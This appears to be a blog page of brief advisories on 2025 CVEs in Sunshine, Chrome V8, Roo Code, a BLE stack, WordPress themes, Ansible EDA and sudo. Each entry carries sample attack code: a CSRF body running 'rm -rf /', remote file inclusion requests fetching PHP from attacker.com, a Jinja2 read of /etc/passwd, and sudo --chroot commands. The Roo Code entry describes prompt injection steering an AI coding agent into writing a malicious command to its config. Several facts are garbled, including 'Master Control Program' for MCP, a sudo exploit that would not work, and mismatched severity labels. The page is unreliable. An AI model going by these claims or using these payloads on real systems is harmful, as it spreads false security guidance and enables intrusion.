Author: Ameeba

CVE-2025-53095: Critical CSRF Vulnerability in Sunshine game stream host
Overview

The world of cybersecurity is an ever-changing landscape, where new vulnerabilities are frequently discovered. One such vulnerability has been found in Sunshine, a popular self-hosted game stream host for Moonlight. This vulnerability, identified as CVE-2025-53095, is a serious threat to the safety and security of Sunshine users and their systems.
Sunshine prior to version 2025.628.4510 is susceptible to Cross-Site Request Forgery (CSRF) attacks, a type of malicious exploit that manipulates authenticated users into executing unintended actions. This vulnerability is particularly dangerous as it can lead to potential system compromise or data leakage, making it a critical issue that needs to be addressed immediately.

Vulnerability Summary

CVE ID: CVE-2025-53095
Severity: Critical, CVSS Score: 9.6
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Sunshine | Prior to version 2025.628.4510

How the Exploit Works

The CSRF vulnerability in Sunshine allows an attacker to craft a malicious web page. When an authenticated user visits this web page, it can trigger unintended actions within the Sunshine application on behalf of that user. Specifically, the application does OS command execution by design. This issue can be exploited to abuse the “Command Preparations” feature, enabling an attacker to inject arbitrary commands that will be executed with Administrator privileges when an application is launched.

Conceptual Example Code

The following is a conceptual example of how the vulnerability might be exploited. Note that this is a simplified scenario used for illustrative purposes and does not contain actual malicious code.
```
POST /startgame HTTP/1.1
Host: sunshine.example.com
Content-Type: application/json
Cookie: authenticated_user_cookie
{
"commandPreparations": "rm -rf /"
}
```
In this example, an attacker could create a web page that, when visited by an authenticated Sunshine user, sends a POST request to the Sunshine server. The `commandPreparations` attribute in the JSON payload is set to a destructive command (`rm -rf /`), which, if executed, would delete all files in the system.
July 6, 2025
CVE-2025-6554: High-Risk Type Confusion Vulnerability in Google Chrome’s V8 Engine
Overview

The cybersecurity community has recently identified a high-risk vulnerability in Google Chrome affecting the V8 JavaScript engine, specifically in versions prior to 138.0.7204.96. The vulnerability is designated as CVE-2025-6554 and is of significant concern due to the potential for remote attackers to exploit it through a carefully crafted HTML page, enabling unauthorized arbitrary read/write operations.
The wide adoption of Google Chrome as a preferred browser across various platforms, including Windows, macOS, and Linux, presents a considerable attack surface for potential exploitation. This coupled with the severity of the impact – potential system compromise or data leakage, necessitates immediate attention to this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-6554
Severity: High (CVSS Score: 8.1)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Google Chrome | Prior to 138.0.7204.96

How the Exploit Works

The vulnerability resides in the V8 JavaScript engine, a critical component of the Google Chrome browser. It is a type confusion vulnerability, a class of issue where a piece of code does not verify the type of object that is passed to it, and it uses the object without type-checking.
In the case of CVE-2025-6554, a remote attacker can craft a specific HTML page to exploit this vulnerability. When a user visits this page using a vulnerable version of Chrome, the malicious code embedded in the HTML could trigger the type confusion in V8, leading to arbitrary read/write operations. This could potentially compromise the user’s system or lead to data leakage.

Conceptual Example Code

While the specific exploit code remains undisclosed to prevent misuse, the following pseudocode illustrates the nature of the exploitation:
```
// Vulnerable function in V8 engine
function vulnerableFunction(obj) {
// Assuming obj is always of type Array
return obj.length;
}
// Malicious code
let maliciousObj = {
length: 'This is not a number, causing type confusion'
};
// Triggering the vulnerability
vulnerableFunction(maliciousObj);
```
This example demonstrates the concept of a type confusion vulnerability. The malicious object is passed into a function which expects an Array object, triggering the vulnerability and leading to unexpected behavior.

Mitigation Guidance

To mitigate the risks associated with CVE-2025-6554, users are advised to apply the latest vendor-provided patches from Google, which address this vulnerability. If unable to immediately apply the patch, it is recommended to utilize Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) as a temporary measure to detect and prevent potential exploitation attempts. Regularly updating and patching software remains the most effective method to prevent exploitation of such vulnerabilities.
July 6, 2025
CVE-2025-53098: Arbitrary Command Execution in Roo Code via MCP Configuration
Overview

We are addressing a significant vulnerability that affects Roo Code, an AI-powered autonomous coding agent. The vulnerability, officially assigned as CVE-2025-53098, has the potential to compromise the integrity, confidentiality, and availability of the system. An attacker with specific access permissions can craft a prompt that manipulates Roo Code into writing harmful commands into a configuration file. This can lead to the execution of arbitrary commands that could compromise the system or lead to data leakage. The severity of this vulnerability lies in its potential for exploitation, emphasizing the need for immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-53098
Severity: Moderate (CVSS: 8.1)
Attack Vector: Local
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Roo Code | Prior to 3.20.3

How the Exploit Works

The exploit takes advantage of the MCP (Master Control Program) configuration format’s ability to execute arbitrary commands in Roo Code. An attacker with certain permissions, for instance through a prompt injection attack, can craft a prompt that makes the agent write a harmful command into the MCP configuration file. If the user has enabled the auto-approving file writes within the project, this could lead to arbitrary command execution, compromising the system or causing data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a pseudocode example that illustrates the crafting of a malicious prompt:
```
# Attacker gains access to submit prompts to the agent
attacker_access = gain_access(agent)
# Craft a prompt that writes malicious command into the MCP configuration file
malicious_prompt = craft_prompt('write', '.roo/mcp.json', 'malicious_command')
# Submit the crafted prompt to the agent
submit_prompt(attacker_access, malicious_prompt)
```
Please note that this is a simplified example and actual exploitation would likely involve more complex and specific commands, taking into account the specific configuration and setup of the targeted system.
July 6, 2025
CVE-2025-44557: Critical Authentication Bypass in Bluetooth Low Energy (BLE) Stack
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a significant vulnerability in the Bluetooth Low Energy (BLE) stack of Cypress PSoC4 v3.66, affecting a multitude of devices across various industries. Identified as CVE-2025-44557, this security flaw involves a state machine transition flaw that allows potential attackers to bypass pairing processes and authentication through a carefully crafted ‘pairing_failed’ packet. This vulnerability is particularly concerning due to the widespread use of BLE in devices such as smartphones, laptops, and IoT devices, making it a potentially vast attack surface.

Vulnerability Summary

CVE ID: CVE-2025-44557
Severity: Critical, CVSS score 8.1
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Cypress PSoC4 | v3.66

How the Exploit Works

The exploit takes advantage of a state machine transition flaw in the BLE stack. In essence, the state machine, which is responsible for managing the different stages of the BLE pairing process, can be manipulated by a malicious ‘pairing_failed’ packet. This packet causes the state machine to transition to a state where it believes the pairing process has failed and needs to restart. In this state, the authentication measures are temporarily disabled, allowing the attacker to bypass them entirely and gain unauthorized access to the system.

Conceptual Example Code

While the specific exploit code is beyond the scope of this blog post, the following pseudocode gives a rough idea of how an attacker might craft a malicious ‘pairing_failed’ packet:
```
def craft_malicious_packet():
packet = BLE_Packet()
packet.type = 'pairing_failed'
packet.payload = 'malicious_payload'
return packet
def send_packet(target, packet):
target_ble = connect_to_ble(target)
target_ble.send(packet)
target = 'target_device_address'
malicious_packet = craft_malicious_packet()
send_packet(target, malicious_packet)
```
In this conceptual example, a malicious packet is crafted and sent to the target device. The packet type is set to ‘pairing_failed’, tricking the state machine into a state where authentication is bypassed, and the payload contains the malicious code that exploits this vulnerability. The resulting compromised system or data leakage could have severe consequences, particularly if the target device is a crucial component of a larger network.
For appropriate mitigation guidance, users are advised to apply the vendor patch as soon as possible. If immediate application of the patch is not possible, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
July 6, 2025
CVE-2025-52816: PHP Remote File Inclusion Vulnerability in ThemeHunk Zita
Overview

CVE-2025-52816 is a critical cybersecurity vulnerability that affects the ThemeHunk Zita theme for WordPress websites. It involves an Improper Control of Filename for Include/Require Statement in PHP Program, often referred to as ‘PHP Remote File Inclusion’. The vulnerability can lead to potential system compromise or data leakage, making it a significant concern for website owners and developers who utilize the Zita theme. Given the vast number of WordPress websites on the internet today, this vulnerability could have widespread implications if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-52816
Severity: High – 8.1 (CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

ThemeHunk Zita | Versions prior to 1.6.5

How the Exploit Works

This vulnerability exists due to an improper control of filename for Include/Require Statement in the PHP program of the ThemeHunk Zita theme. An attacker can exploit this vulnerability by sending a specially-crafted request to the website running on the vulnerable theme. The attacker can include a reference to a remote file that contains malicious PHP code. When processed by the server, this code will be executed, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. Note that this is a conceptual code and may not work as is.
```
GET /index.php?page=http://malicious-website.com/malicious-code.txt HTTP/1.1
Host: vulnerable-website.com
```
In this example, the attacker is exploiting the ‘page’ parameter to include a remote file (malicious-code.txt) hosted on a malicious website. When this request is processed by the server, the malicious PHP code within the included file will be executed.

Mitigation Guidance

Users of the ThemeHunk Zita theme are strongly advised to update to the latest version to address this vulnerability. If this is not possible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to block requests that attempt to exploit this vulnerability. However, these are only temporary solutions and upgrading to the patched version is the recommended course of action to fully mitigate this vulnerability.
July 6, 2025
CVE-2025-52815: PHP Remote File Inclusion Vulnerability in AncoraThemes CityGov
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ or more commonly known as ‘PHP Remote File Inclusion’. The vulnerability affects the versions of CityGov from n/a through 1.9. This vulnerability is critical because it can lead to a potential system compromise or data leakage, making it a significant concern for the cybersecurity community.

Vulnerability Summary

CVE ID: CVE-2025-52815
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

AncoraThemes CityGov | n/a through 1.9

How the Exploit Works

The PHP Remote File Inclusion vulnerability in AncoraThemes CityGov works by leveraging the improper control of filename for include/require statement in PHP Program. This allows an attacker to inject malicious PHP scripts or files to be included and executed by the server. The vulnerability allows for Local File Inclusion (LFI), which permits attackers to include local files from the server, potentially exposing sensitive information or executing malicious code.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request, injected with a malicious payload.
```
GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com
```
In this example, the attacker tricks the server into including and executing the malicious.php file from their server.

Mitigation Guidance

Given the high severity of this vulnerability, it’s paramount to apply the vendor-released patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These systems can be configured to block or alert on attempts to exploit this vulnerability until the official patch can be applied. However, this is a stop-gap solution, and appropriate patches should be applied as soon as possible to fully mitigate the risk.
July 6, 2025
CVE-2025-49521: Critical Vulnerability in EDA Component of Ansible Automation Platform
Overview

This blog post details the critical vulnerability identified as CVE-2025-49521, which affects the EDA component of the Ansible Automation Platform. The flaw allows authenticated users to inject malicious expressions that execute commands or access sensitive files on the EDA worker. In OpenShift environments, this vulnerability can lead to service account token theft. Given its severity and the potential for system compromise or data leakage, it is crucial for users and administrators of Ansible Automation Platform to understand and address this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-49521
Severity: Critical (8.8 CVSS Score)
Attack Vector: User-supplied Git branch or refspec values
Privileges Required: User-level
User Interaction: Required
Impact: System compromise or data leakage, service account token theft in OpenShift environments

Affected Products

Product | Affected Versions

Ansible Automation Platform | All versions up to and including the latest version
OpenShift | All versions when integrated with Ansible Automation Platform

How the Exploit Works

The flaw works by exploiting user-supplied Git branch or refspec values that are evaluated as Jinja2 templates in the EDA component of the Ansible Automation Platform. An authenticated user can inject malicious expressions, which can execute commands or access sensitive files on the EDA worker. In an OpenShift environment, this vulnerability can be leveraged to steal service account tokens.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:
```
POST /api/v1/ansible/git-refspec HTTP/1.1
Host: ansible.example.com
Content-Type: application/json
{ "git_refspec": "{{ lookup('file', '/etc/passwd') }}" }
```
In this example, the malicious user uses the Jinja2 template feature in Git branch or refspec values to read the contents of the ‘/etc/passwd’ file.

Mitigation Guidance

The most effective method to mitigate this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using WAF (Web Application Firewall) or IDS (Intrusion Detection System) as a temporary mitigation can provide some level of protection. These security measures should be configured to detect and block the malicious Jinja2 expressions. However, these are only temporary solutions and the vendor’s patch should be applied as soon as possible to fully secure your system.
July 6, 2025
CVE-2025-49520: Ansible Automation Platform’s EDA Component Vulnerability
Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a severe flaw in Ansible Automation Platform’s EDA component, tagged as CVE-2025-49520. This vulnerability potentially affects any organization or individual utilizing Ansible’s EDA component in their software infrastructure, particularly in Kubernetes/OpenShift environments. The matter is of high concern because it allows authenticated attackers to execute arbitrary commands on the EDA worker, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-49520
Severity: High (8.8)
Attack Vector: Network
Privileges Required: High
User Interaction: Required
Impact: System compromise and potential data leakage.

Affected Products

Product | Affected Versions

Ansible Automation Platform | All versions before the patch

How the Exploit Works

The vulnerability exists due to improper sanitization of user-supplied Git URLs which are passed unsanitized to the git ls-remote command in Ansible’s EDA component. An authenticated attacker can inject arguments into this command and execute arbitrary commands on the EDA worker. If this occurs within a Kubernetes/OpenShift environment, it may result in service account token theft, and the attacker can gain access to the cluster.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability:
```
# Attacker controls the Git repository
git clone http://malicious.example.com/repo.git
# Attacker pushes maliciously crafted repo to Ansible Automation Platform
git push ansible http://malicious.example.com/repo.git
# The maliciously crafted URL triggers the vulnerability in git ls-remote command
# leading to arbitrary command execution on the EDA worker
```
Mitigation Guidance

To mitigate this vulnerability, apply the vendor patch immediately as soon as it is available. Until the patch is available or can be applied, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary mitigation measure. Regularly review and monitor system logs for any unusual or suspicious activity. Ensure that the principle of least privilege is followed, and only necessary permissions are granted.
July 6, 2025
CVE-2025-32463: Critical Privilege Escalation Vulnerability in Sudo
Overview

CVE-2025-32463 is a critical vulnerability discovered in Sudo, a utility found in numerous Unix- and Linux-based systems that allows a system administrator to delegate limited root access to users. This flaw can enable local users to gain full root access to the system by exploiting the –chroot option. This is particularly concerning because of the pervasiveness of Sudo, its typical configuration to allow certain users to execute commands as other users, and the potential for an attacker to compromise an entire system if the vulnerability is successfully exploited.

Vulnerability Summary

CVE ID: CVE-2025-32463
Severity: Critical (9.3 CVSS Score)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Sudo | Before 1.9.17p1

How the Exploit Works

The exploit takes advantage of a misconfiguration in the Sudo utility. Specifically, when the –chroot option is used, Sudo uses /etc/nsswitch.conf from a user-controlled directory. An attacker can create a malicious nsswitch.conf file in their directory, then use the –chroot option to make Sudo use their malicious nsswitch.conf file. This can allow the attacker to escalate their privileges and gain root access to the system.

Conceptual Example Code

Here’s a hypothetical command sequence that demonstrates how the vulnerability might be exploited:
```
# Attacker creates a malicious nsswitch.conf file in their directory
echo "passwd: files" > ~/nsswitch.conf
# Attacker uses the --chroot option to make Sudo use their malicious nsswitch.conf file
sudo --chroot . /bin/bash
```
In this example, the attacker creates a malicious nsswitch.conf file that specifies that user authentication should be done using only local files, not network-based services. They then run a command with Sudo using the –chroot option to make Sudo use their malicious nsswitch.conf file. This effectively grants them root access to the system.

How to Mitigate

To mitigate this vulnerability, users should apply the patch provided by the vendor, which in this case is Sudo version 1.9.17p1 or later. Alternatively, users can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation until the patch can be applied. However, it’s important to note that while a WAF or IDS can help detect and prevent some exploit attempts, they are not sufficient to fully protect against this vulnerability. Users should prioritize applying the vendor’s patch as soon as possible.
July 6, 2025
CVE-2025-52814: Critical PHP Remote File Inclusion Vulnerability
Overview

A severe vulnerability has been identified as CVE-2025-52814, affecting a PHP program in ovatheme BRW, a popular theme for numerous websites. The vulnerability is a type of PHP Remote File Inclusion (RFI) that can potentially allow an attacker to execute arbitrary PHP code on the server. This can lead to a complete system compromise or data leakage. Given the widespread usage of ovatheme BRW and the potential impact of this vulnerability, it is of utmost importance that administrators and developers take note and implement the necessary mitigation strategies.

Vulnerability Summary

CVE ID: CVE-2025-52814
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

ovatheme BRW | n/a through 1.7.9

How the Exploit Works

The PHP Remote File Inclusion vulnerability occurs when the ‘include’ or ‘require’ statements in PHP are manipulated to include files from a remote server. By exploiting this vulnerability, an attacker could include a malicious PHP script from a remote server and execute it within the context of the affected application. This could lead to unauthorized access, data leakage, or even a complete system compromise.

Conceptual Example Code

Here’s a conceptual example of how an attacker may exploit this vulnerability. The attacker could manipulate a URL or form input field that takes in the name of a file to be included as part of the PHP server-side scripting.
```
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com
```
In this example, the attacker tricks the server into including ‘malicious_file.php’ from ‘attacker.com’ instead of a local file. The server then executes this malicious file leading to potential system compromise.

Recommended Mitigation

To mitigate this vulnerability, the vendor has released a patch. All users of ovatheme BRW should promptly update their software to the latest version. Alternatively, as a temporary mitigation, users can implement Web Application Firewall (WAF) rules or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.
July 6, 2025